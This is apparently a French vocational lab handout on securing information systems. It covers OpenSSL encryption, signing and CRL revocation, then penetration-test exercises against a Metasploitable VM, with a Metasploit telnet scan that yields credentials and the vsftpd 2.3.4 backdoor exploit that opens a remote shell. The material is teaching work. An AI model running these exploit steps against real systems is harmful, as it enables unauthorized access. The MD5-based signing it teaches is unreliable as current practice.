sudo openssl rsautl -encrypt -inkey certs/ClientAcertificate.pem -certin -in /home/osboxes/fichier.txt -out /home/osboxes/fichier.enc
3. Pour déchiffrer le fichier fichier.enc avec la clé privée du client A, il suffit d’exécuter la commande suivante :
sudo openssl rsautl -decrypt -inkey private/ClientAkey.pem -in /home/osboxes/fichier.enc -out /home/osboxes/fichier.dec
4. Pour vérifier que les deux fichiers fichier.txt et fichier.dec contiennent le même contenu, il suffit d’exécuter la commande :
diff /home/osboxes/fichier.txt /home/osboxes/fichier.dec
La figure ci-dessous illustre l’exécution des commandes précédentes
PARTIE 3

ACTIVITÉ 6
SIGNATURE DES FICHIERS
• Réaliser la signature numérique d’un fichier
• Maitriser le principe du signature numérique
1 heure
CONSIGNES
• L’apprenant doit être capable de générer les empreintes des fichiers et les signer en
utilisant OpenSSL
• Il doit être également capable de vérifier la signature d’un fichier
• Réalisation des activités précédentes (2, 3, 4, et 5) avec succès.
• Générer avec succès une empreinte d’un fichier
• Signer un fichier avec succès
• Vérifier la signature d’un fichier avec succès
Activité 6
Signature des fichiers
• L’objectif principal de cette activité est de signer un fichier et vérifier un fichier signé à l’aide d’ une clé privée et un certificat numérique, respectivement.

Calcule l'empreinte numérique d’un fichier fichier.txt à l’aide d’une
openssl dgst <-hachfunction > -out <fingerprint > <fichier.txt> fonction de hachage hachfunction. L’empreinte est enregistrée dans
un fichier fingerprint.
Signe un fichier à partir de son empreinte fingerprint et en utilisant la
openssl rsautl -sign -in <fingerprint > -inkey <key > -out <signature>
clé privée key. Le fichier signé est nommé signature.
openssl rsautl -verify -in <signature> -inkey <certificate> -certin -out Vérifie la signature en calculant l’empreinte fingerprint à partir d’un
<fingerprint > fichier signé signature en utilisant une certificat numérique certificate.

1. Calculez l’empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5. L’empreinte est enregistré dans un fichier nommé empreinte ;
2. Signez le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A généré dans l’activité 4. Le fichier signé est nommé
PARTIE 3
signature ;
3. Vérifiez le fichier signé signature en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client A généré dans l’activité 4 ;
4. Vérifiez que les deux empreintes empreinte et empreinte2 contiennent le même contenu.

Activité 6
Correction
Correction
1. Pour calculer l’empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5, il suffit d’exécuter la commande suivante :
sudo openssl dgst -MD5 -out empreinte fichier.txt
2. Pour signer le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A, , il suffit d’exécuter la commande suivante :
sudo openssl rsautl -sign -in empreinte -inkey /etc/activite/private/ClientAkey.pem -out signature
3. Pour vérifier le fichier signé en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client, il suffit d’exécuter la commande suivante :
sudo openssl rsautl -verify -in signature -inkey /etc/activite/certs/ClientAcertificate.pem -certin -out empreinte2
4. Pour vérifier que les deux empreintes empreinte et empreinte2 contiennent le même contenu, , il suffit d’exécuter la commande : sudo diff empreinte empreinte2
Les résultats de l’exécution des commandes précédentes sont illustrés dans la figure ci-dessous
PARTIE 3

ACTIVITÉ 7
GESTION DU CRL (CERTIFICATE LISTE
REVOCATION)
• Révoquer un certificat numérique
• Maitriser le principe des certificats numériques

• Maitriser les notions de base d’une PKI
1 heure
CONSIGNES
• L’apprenant doit être capable de révoquer un certificat numérique
• Réalisation des activités précédentes (2, 3, 4, 5, et 6) avec succès.
• Révoquer un certificat numérique avec succès
Activité 7
Gestion du CRL (Certificate Liste Revocation)
Gestion du CRL (Certificate Liste Revocation)

• Cette activité vise à générer une liste de révocation de certificat (CRL) et révoquer un certificat.

openssl ca -gencrl -keyfile <CApriv.pem> -cert <CA_certificate.pem> -out
Génère une première CRL vide, nommée crl_file, grâce à l’option -gencrl
<crl_file>
openssl ca -revoke <certificate> -keyfile <CApriv.pem> -cert
Révoque un certificat client certificate.
<CA_certificate.pem>

1. Préparez l’environnement de travail en :
• Créant un répertoire crl sous le chemin /etc/activite
• Créant un fichier crlnumber sous le chemin /etc/activite et l’initialisant à 01.
PARTIE 3
2. Générez une une première CRL vide, nommée CRL. Utilisez la clé privée et le certificat du CA qui ont été généré dans l’activité 4 ;
3. Révoquez le certificat du client B qui a été créé dans l’activité 4 ;
4. Afficher le contenu du fichier crlnumber.

Activité 7
Correction
Correction
1. Pour préparer l’environnement de travail, il suffit d’exécuter les commandes suivantes :
• cd /etc/activite
• sudo mkdir crl
• sudo touch crlnumber
• sudo su
• echo 01 > crlnumber
• exit
2. Pour générer une une première CRL vide, nommée CRL, exécutez la commande suivante :
sudo openssl ca -gencrl -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem -out CRL
PARTIE 3

Activité 7
Correction
Correction
3. Pour révoquer le certificat du client B, exécutez la commande suivante:
sudo openssl ca -revoke certs/ClientBcertificate.pem -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem
4. Pour Afficher le contenu du fichier crlnumber, exécutez la commande : sudo tail crlnumber
PARTIE 3

PARTIE 4
S’INITIER À L’AUDIT DE SÉCURITÉ DES SI
• Apprendre à utiliser certains outils de test d’intrusion

• Identifier les failles de sécurité d’un système cible
• Exploiter certaines failles identifiées pour mener des
scénarios d’attaques.
7 heures
ACTIVITÉ 1
IDENTIFICATION DES VULNÉRABILITÉS
D’UN SYSTÈME
• Utiliser des outils de test d’intrusion pour identifier les failles

de sécurité d’un système cible
• Maitriser le principe du test d’intrusion
3 heures
CONSIGNES
• L’apprenant doit être capable d’utiliser Kali Linux ainsi que des outils de test
d’intrusion afin d’identifier les failles de sécurité du système Metasploitable (le
système cible dans cette activité)
• Il est recommandé de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurité les plus courantes
• Il faut utiliser les commandes fournies dans l’activité
• Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement :
https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-
amd64.ova
• Une machine virtuelle Metasploitable. Lien de téléchargement :
https://sourceforge.net/projects/metasploitable/files/latest/download
• Nessus on Kali Linux. Lien de téléchargement : Download Nessus | Tenable®
• Identifier les failles de sécurité du système cible
• Avoir un rapport de vulnérabilité du système cible généré par Nessus
Activité 1
Identification des vulnérabilités d’un système
Étape 1 : Préparation de l’environnement

• L’objectif principal de cette activité est d’identifier les failles de sécurité et les risques associés à un système. Pour atteindre un tel objectif, nous avons besoin de
préparer un environnement de test, qui est composé de :
• Une machine virtuelle Kali Linux : Comme présenté précédemment dans la partie 1, Kali est une distribution Linux qui implémente un ensemble d’outils
permettant de tester le niveau de sécurité d'un système d'information via l’identification des failles et des risques de sécurité et également l’exploitation des
failles identifiés .
• Metasploit : programme open source qui est implémenté dans Kali et permettant l’exploitation des vulnérabilités. En effet, il fournit des informations sur les
vulnérabilités de systèmes informatiques et les exploite. Il est équipé d’une base de données intégrant les vulnérabilités existantes à ce jour.
• Nmap : c’est parmi les outils qui sont installés par défaut on Kali. Il permet de réaliser le scan des ports à des systèmes pour détecter les ports ouverts, identifier
les services hébergés et obtenir des informations sur les systèmes d'exploitation.
• Nessus : c’est un outil de scan de vulnérabilité très performant et très puissant. Il fournit des informations avancées en le comparant à Nmap. C’est un logiciel
payant pour les professionnels. Une version de test pourra être utilisée.
• Une machine virtuelle Metasploitable : une machine virtuelle Linux intentionnellement vulnérable et qui peut être utilisée pour effectuer une formation à la
sécurité, tester des outils de sécurité et pratiquer des techniques de test d’intrusion courantes.
• Le travail demandé dans cette étape est :
PARTIE 4
1. Lancez les deux machines virtuelles Kali et Métasploitable ;

2. Identifiez les adresses IP des deux machines virtuelles ;
3. Vérifiez que la machine Kali est à jour et qu’elle implémente les deux outils Nmap et Metasploit ;
4. Téléchargez et Installez Nessus dans la machine Kali.

Activité 1
Identification des vulnérabilités d’un système
Étape 2 : Identification des vulnérabilités

• Après avoir préparé l’environnement de travail, il est maintenant possible d’identifier les vulnérabilités et les risques associés à un système cible.
• Dans cette activité :
• Le système cible est Métasploitable.
• Les outils de scan sont : Nmap est Nessus installés on Kali Linux.
• Travail demandez :
1. Utilisez Nmap pour identifier les ports ouverts ainsi que le système d’exploitation du système cible
Remarques
• Nmap peut être lancé via le terminal de la machine Kali. Les options suivantes pourront être utilisées :
• -sV : sondez les ports ouverts pour déterminer les informations de service/version
• -O : Activer la détection du système d’exploitation
• Syntaxe de la commande est : sudo nmap [options] @IP
PARTIE 4
2. Utilisez Nessus pour identifier les failles de sécurité et les vulnérabilités de la machine Metasploitable.

Activité 1
Correction
L’adresse IP de la machine virtuelle Metasploitable est : 192.168.1.8 L’adresse IP de la machine virtuelle Kali est : 192.168.1.7
PARTIE 4

Activité 1
Correction

Pour vérifier que Nmap est installé dans Kali, il suffit de taper la commande
Pour vérifier que Metasploit est installé dans Kali, il suffit de taper la commande
sudo nmap et avoir comme résultat celui affiché dans la figure ci-dessous
sudo msfconsole et avoir comme résultat celui affiché dans la figure ci-dessous
PARTIE 4

Activité 1
Correction

• Pour installer Nessus dans la machine Kali, il suffit de suivre les étapes suivantes :
1. Accédez à la page de téléchargement via le lien suivant : Download Nessus | Tenable®
2. Téléchargez la version Nessus-10.1.1-debian6_amd64.deb comme illustré dans la figure ci-dessous. En fait c’est la version adéquate pour une machine Kali.
Téléchargement de Nessus
PARTIE 4

Activité 1
Correction

3. Installez le package la version Nessus-10.1.1-debian6_amd64.deb téléchargé en exécutant la commande sudo apt install ./Nessus-10.1.1-debian6_amd64.deb
comme illustré dans la figure ci-dessous.
PARTIE 4

Activité 1
Correction

4. Après installation, il suffit d’exécuter les commandes suivantes : 5. Lancez ensuite un navigateur et tapez dans la barre de navigation :
• sudo systemctl enable nessusd • https://kali:8834 ou
• sudo systemctl nessusd start • https://@IPKali:8834
• sudo systemctl nessusd status
PARTIE 4

Activité 1
Correction

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l’activation de Nessus.
PARTIE 4

Activité 1
Correction

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l’activation de Nessus.
PARTIE 4

Activité 1
Correction
La page d’accueil de Nessus est la suivante
Remarques
• Il est probable que l’initialisation de Nessus (étape illustrée dans
la dernière interface illustré dans le slide précédent) dure
longtemps, il faut l’attendre.
• Si vous rencontrez des problèmes, il est possible de consulter le
site accessible via le lien suivant :
https://community.tenable.com/s/article/Nessus-scanner-is-
stuck-in-the-Initializing-process
Ce site vous fournit les commandes nécessaires pour régler les
problèmes rencontrés.
PARTIE 4

Activité 1
Correction

• Pour identifier les ports ouverts ainsi que le système d’exploitation du système cible en utilisant nmap, il suffit d’exécuter la commande suivante :
sudo nmap -sV -o 192.168.1.8.
• Les figures ci-dessous illustrent le résultat de la commande exécutée qui consiste à l’ensemble des ports ouverts et le système d’exploitation.
PARTIE 4

Activité 1
Correction

Pour lancer le scan de vulnérabilités en utilisant Nessus, choisissez l’option Advanced Scan
PARTIE 4

Activité 1
Correction

La fenêtre ci-dessous s’affiche. Donnez un nom au scan à effectuer, Metasploitable Scan par exemple, et comme cible (Targets) saisissez l’adresse IP de la machine cible
(192.168.1.8, dans notre exemple) ou aussi la plage d’adresse du réseau. Cliquez ensuite sur Save.
PARTIE 4

Activité 1
Correction
La figure ci-dessous illustre l’enregistrement de la configuration du scan effectué précédemment. Pour lancer le scan, il suffit de cliquer sur le bouton démarrer.
PARTIE 4

Activité 1
Correction

Après avoir effectué le scan, un résumé de vulnérabilité sera fourni par Nessus comme illustré dans la figure ci-dessous.
PARTIE 4

Activité 1
Correction

Pour visualiser les vulnérabilités identifiés, il suffit de sélectionner Vulnérabilités. Selon le résultat illustré dans la figure ci-dessous, 72 vulnérabilités ont été identifiées
dans la machine Metasploitable. Il est possible de sélectionner les vulnérabilités une par une pour avoir plus de détails sur chaque vulnérabilités.
PARTIE 4

Activité 1
Correction

Pour visualiser les risques identifiés, il suffit de sélectionner VPR TOP THREATS. Selon le résultat illustré dans la figure ci-dessous, 10 risques ont été identifiés pour la
machine Metasploitable
PARTIE 4

Activité 1
Correction

Il est également possible de générer des rapports d’examen de risques et de vulnérabilités en cliquant sur le bouton Report.
PARTIE 4

ACTIVITÉ 2
EXPLOITATION DES FAILLES RELATIVES AU
PROTOCOLE TELNET

scénarios d’attaques
2 heures
CONSIGNES
• L’apprenant doit être capable d’utiliser la console msfconsole de Kali Linux ainsi que
le rapport de vulnérabilité généré par Nessus pour mener une attaque de sécurité
visant la machine victime Metasploitable qui exploite une vulnérabilité précise
(vulnérabilité relatif au protocole Telnet dans cette activité)
• Il est recommandé de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurité les plus courantes
• Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable
• Activité 1 réalisée avec succès
• Découvrir avec succès les identifiants d’accès à une machine victime
• Avoir un accès privilégié à la machine victime
Activité 2
Exploitation des failles relatives au protocole Telnet
• L’objectif de cette activité est d’exploiter l’une des vulnérabilités identifiée précédemment avec Nessus.
• Dans cette activité, nous adressons les vulnérabilités relatifs au protocole Telnet. En examinant le rapport générée par Nessus, nous pouvons remarquer qu’une
vulnérabilité relatif au protocole Telnet est classée comme risque moyen avec une valeur 5.8 comme illustré dans la figure ci-dessous.
• En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que « L'hôte distant exécute un serveur Telnet sur un canal non chiffré »
• En effet, l'utilisation de Telnet sur un canal non crypté n'est pas recommandée car les identifiants, les mots de passe et les commandes sont transférés en texte
clair. Cela permet à un attaquant distant d'espionner une session Telnet pour obtenir des informations d'identification ou d'autres informations sensibles.
PARTIE 4
• Par conséquent, l’objectif est d’exploiter cette vulnérabilité pour identifier les informations d’identification et obtenir par la suite un accès privilégié à ce système.

Activité 2

• Pour exploiter la vulnérabilité telnet, il suffit de réaliser les tâches suivantes :
1. Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;
2. Vérifiez l'existence du module d’exploitation de telnet en exécutant dans la console msfconsole la commande : search telnet_version ;
3. Utilisez l'exploit identifié en exécutant dans la console msf la commande suivante : use auxiliary/scanner/telnet/telnet_version ;
4. Essayez d'identifier les options d’exploitations disponibles à l'aide de la commande suivante : show options ;
5. Nous pouvons remarquer que RHOSTS est vide, nous devons donc définir l'adresse IP cible (c'est-à-dire l'adresse IP de l'hôte victime qui est dans cet exemple
192.168.1.8) pour permettre l'analyse de la version telnet. Pour ce faire, tapez la commande : set RHOST @IP_victim ;
6. Exécutez maintenant le scanner telnet à l'aide de la commande run ;
7. Déterminez les informations d’identification à partir du résultat du scan.
• Pour bénéficier d’un accès privilégié, essayez de vous connecter à la machine victime via le service ssh en utilisant le login et le mot de passe découverts.
8. Exécutez dans le terminal Kali la commande suivante : sudo ssh login@IP_victim ;
PARTIE 4
9. Ayant un accès privilégiés à la machine victime, essayez d’exécuter certaines commandes tel que :
• ifconfig
• uname -a

Activité 2
Correction
Correction
1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali
PARTIE 4

Activité 2
Correction
Correction
2. Cette figure illustre l’exécution de la commande search telnet_version. Le résultat fourni montre la possibilité de l’utilisation du module
auxiliary/scanner/telnet/telnet_version
Cette figure illustre l’exécution des commandes use auxiliary/scanner/telnet/telnet_version et show options.
PARTIE 4

Activité 2
Correction
Correction
Cette figure illustre l’exploitation de la vulnérabilité en exécutant les commandes set RHOSTS 192.168.1.8 et run. Le résultat obtenu est la découverte des informations
d’identification de la machine victime qui sont : login = msfadmin et mot de passe = msfadmin
PARTIE 4

Activité 2
Correction
Correction
Pour se connecter à la machine victime il suffit d’exécuter la commande Tapez ensuite les commandes ifconfig et uname -a dont les résultats prouvent
sudo ssh msfadmin@192.168.1.8 et fournir comme mot de passe que vous avez un accès privilégié à la machine Metasploitable
msfadmin
PARTIE 4

ACTIVITÉ 3
EXPLOITATION DES FAILLES RELATIVES AU
PROTOCOLE FTP

scénarios d’attaques
2 heures
CONSIGNES
• L’apprenant doit être capable d’utiliser la console msfconsole de Kali Linux ainsi que
le rapport de vulnérabilités généré par Nessus pour mener une attaque de sécurité
visant la machine victime Metasploitable qui exploite une vulnérabilité précise
(vulnérabilité relative au protocole FTP dans cette activité)
• Il est recommandée de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurités les plus courantes
• Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable
• Activité 1 réalisée avec succès
• Configurer et installer un backdoor dans la machine victime avec succès
• Obtenir un accès privilégié à la machine victime
Activité 3
Exploitation des failles relatives au protocole FTP

• L’objectif de cette activité est d’exploiter l’une des vulnérabilités identifiées dans l’activité 1 avec Nessus.
• Dans cette activité, nous adressons une parmi les vulnérabilités relatives au protocole FTP. En examinant le rapport générez par Nessus, nous pouvons remarquer
qu’une vulnérabilité relative au protocole FTP est identifiée comme illustré dans la figure ci-dessous.
• En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que «Il est possible d'obtenir la bannière du serveur FTP distant en se
connectant à un port distant »
• La vulnérabilité consiste à la présence d’un backdoor (une porte dérobée) malveillant qui a été ajouté au téléchargement VSFTPD archiver (vsftpd-2.3.4.tar.gz)
PARTIE 4
• Par conséquent, l’objectif est d’exploiter cette vulnérabilité pour bénéficier d’un accès privilégiés au système victime.

Activité 3

• Pour exploiter la vulnérabilité identifiée précédemment, il suffit de réaliser les tâches suivantes :
1. Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;
2. Vérifiez l'existence du module d’exploitation de VSFTPD en exécutant dans la console msfconsole la commande : search vsftpd ;
3. Utilisez l'exploit identifié en exécutant dans la console msf la commande suivante : use exploit/unix/ftp/vsftpd_234_backdoor ;
4. Essayez d'identifier les options d’exploitations disponibles à l'aide de la commande suivante : show options ;
5. Nous pouvons remarquer que RHOSTS est vide, nous devons donc définir l'adresse IP cible (c'est-à-dire l'adresse IP de l'hôte victime qui est dans cet exemple
192.168.1.8). Pour ce faire, tapez la commande : set RHOST @IP_victim ;
6. Affichez les modules liés aux types de payloads en exécutant la commande suivante : show payloads ;
• Un payload est un code qui s'exécutera après s'être introduit dans la machine victime, par exemple pour avoir accès à un shell distant.
7. À partir des options affichées, nous pouvons remarquer que nous ne pouvons définir que le payload du module cmd/unix/interact, comme suit : set payload
cmd/unix/interact ;
8. Après avoir configuré votre backdoor, vous pouvez l'exploiter à l'aide de la commande suivante : exploit
PARTIE 4
9. En exploitant le backdoor, vous obtenez un accès privilégié à l'hôte victime et recevez un shell de commande à distance. Pour obtenir plus d'informations sur
l'hôte victime, essayez de taper les commandes suivantes :
• uname -a
• whoami

Activité 3
Correction
Correction
1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali
PARTIE 4

Activité 3
Correction
Correction
Cette figure illustre l’exécution de la commande search vsftpd. Le résultat fournit montre la possibilité de l’utilisation du module /unix/ftp/vsftpd_234_backdoor. Elle
illustre également l’exécution des use exploit/unix/ftp/vsftpd_234_backdoor et show options.
PARTIE 4

Activité 3
Correction
Correction
Cette figure illustre l’exécution des commandes use exploit/unix/ftp/vsftpd_234_backdoor et show options.
PARTIE 4

Activité 3
Correction
Correction
Cette figure illustre l’exécution des commandes set RHOST 192.168.1.8 et show payloads. Le résultat obtenu montre la possibilité d’utilisation du payload
/cmd/unix/interact
Cette figure illustre la configuration du payload déterminé en exécutant la commande set payload /cmd/unix/interact et son exploitation en exécutant la commande
exploit. Le résultat obtenu est un accès privilégié à la machine victime.
PARTIE 4

Activité 3
Correction
Correction
Cette figure illustre l’exécution des commandes uname –a ,whoami, et ifconfig dont les résultats prouvent que vous avez un accès privilégié à la machine Metasploitable
PARTIE 4

TP m107 0804 62507162bdc64

Transféré par

Droits d'auteur :

Formats disponibles

TP m107 0804 62507162bdc64

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

TP m107 0804 62507162bdc64

Transféré par

Droits d'auteur :

Formats disponibles

TRAVAUX PRATIQUES – FILIÈRE INFRASTRUCTURE DIGITALE

M107 – Sécuriser un système d'information

SOMMAIRE • Activité 2 : Mener l’attaque DHCP Starvation

3. DÉCOUVRIR LA CRYPTOGRAPHIE ET LES SOLUTIONS DE GESTION

4. S’INITIER À L’AUDIT DE SÉCURITÉ DES SI

Copyright - Tout droit réservé - OFPPT 3

• Apprendre à utiliser des outils implémentés dans Kali Linux

• Utiliser des outils avancées pour lancer des attaques de

• Maitriser le principe de l’attaque par inondation d'adresses

Étape 1 : Mise en place de l’environnement de travail

Création d’un nouveau projet

Interface d’accueil de GNS3

Étape 2 : Préparation de la machine virtuelle Kali Linux

Étape 2 : Préparation de la machine virtuelle Kali Linux

• Les identifiants de la machine Kali sont les suivants :

Mise à jour du système Kali

Copyright - Tout droit réservé - OFPPT 9

Étape 2 : Préparation de la machine virtuelle Kali Linux

Mode d’accès réseau de la VM Kali

Étape 3 : Émulation de la topologie de réseau

• Pour mettre en place une telle topologie, vous êtes chargés de :

complétez le processus de création de la Template du commutateur (sous le nom EtherSwitch) ;

Copyright - Tout droit réservé - OFPPT 11

Étape 4 : Exécution de l’attaque MAC Flooding

• L’outil macof permet d’inonder un commutateur de réponses MAC falsifiées à une

3. Vérifier l'exécution de l'attaque en :

• utilisant Wireshark pour analyser le trafic généré par l'attaquant ;

Copyright - Tout droit réservé - OFPPT 12

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 13

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 14

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 15

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 16

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 17

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 18

Étape 3 : Émulation de la topologie de réseau

Copyright - Tout droit réservé - OFPPT 19

Étape 4 : Exécution de l’attaque MAC Flooding

Copyright - Tout droit réservé - OFPPT 20

Étape 4 : Exécution de l’attaque MAC Flooding

Copyright - Tout droit réservé - OFPPT 21

Étape 4 : Exécution de l’attaque MAC Flooding

Copyright - Tout droit réservé - OFPPT 22

Étape 4 : Exécution de l’attaque MAC Flooding

Copyright - Tout droit réservé - OFPPT 23

Étape 4 : Exécution de l’attaque MAC Flooding

Copyright - Tout droit réservé - OFPPT 24

• Utiliser des outils avancés pour lancer des attaques de

• Maitriser le principe de l’attaque DHCP starvation

Étape 1 : Préparation des machines virtuelles

machine virtuelle en " Aucune connexion".

Copyright - Tout droit réservé - OFPPT 27

Étape 1 : Préparation des machines virtuelles

• Les identifiants de la machine virtuelle Ubuntu sont les suivants :